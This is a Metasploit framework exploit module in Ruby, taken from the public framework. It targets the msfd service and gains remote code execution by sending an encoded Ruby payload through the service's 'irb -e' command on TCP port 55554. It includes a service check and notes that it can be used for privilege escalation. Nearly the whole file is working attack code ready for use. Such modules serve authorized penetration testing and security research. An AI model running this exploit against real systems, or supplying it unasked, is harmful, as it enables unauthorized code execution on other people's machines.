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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Metasploit msfd Remote Code Execution',
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        'Description' => %q{
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          Metasploit's msfd-service makes it possible to get a msfconsole-like
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          interface over a TCP socket. If this socket is accessible on a remote
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          interface, an attacker can execute commands on the victim's machine.
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          If msfd is running with higher privileges than the current local user,
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          this module can also be used for privilege escalation. In that case,
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          port forwarding on the compromised host can be used.
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          Code execution is achieved with the msfconsole command: irb -e 'CODE'.
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        },
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        'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
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        'License' => BSD_LICENSE,
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        'Platform' => "ruby",
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        'Arch' => ARCH_RUBY,
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        'Payload' => {
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          'Space' => 8192, # Arbitrary limit
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          'BadChars' => "\x27\x0a",
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          'DisableNops' => true
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        },
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        'Targets' => [
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          [ 'Automatic', {} ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2018-04-11', # Vendor notification
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(55554)
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      ]
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    )
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  end
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  def check
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    connect
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    data = sock.get_once
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    if data.include?("msf")
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      disconnect
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      return Exploit::CheckCode::Appears
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    end
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    disconnect
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    return Exploit::CheckCode::Unknown
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  end
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  def exploit
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    connect
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    sock.get_once
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    sock.put "irb -e '" + payload.encoded + "'\n"
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    disconnect
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  end
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end
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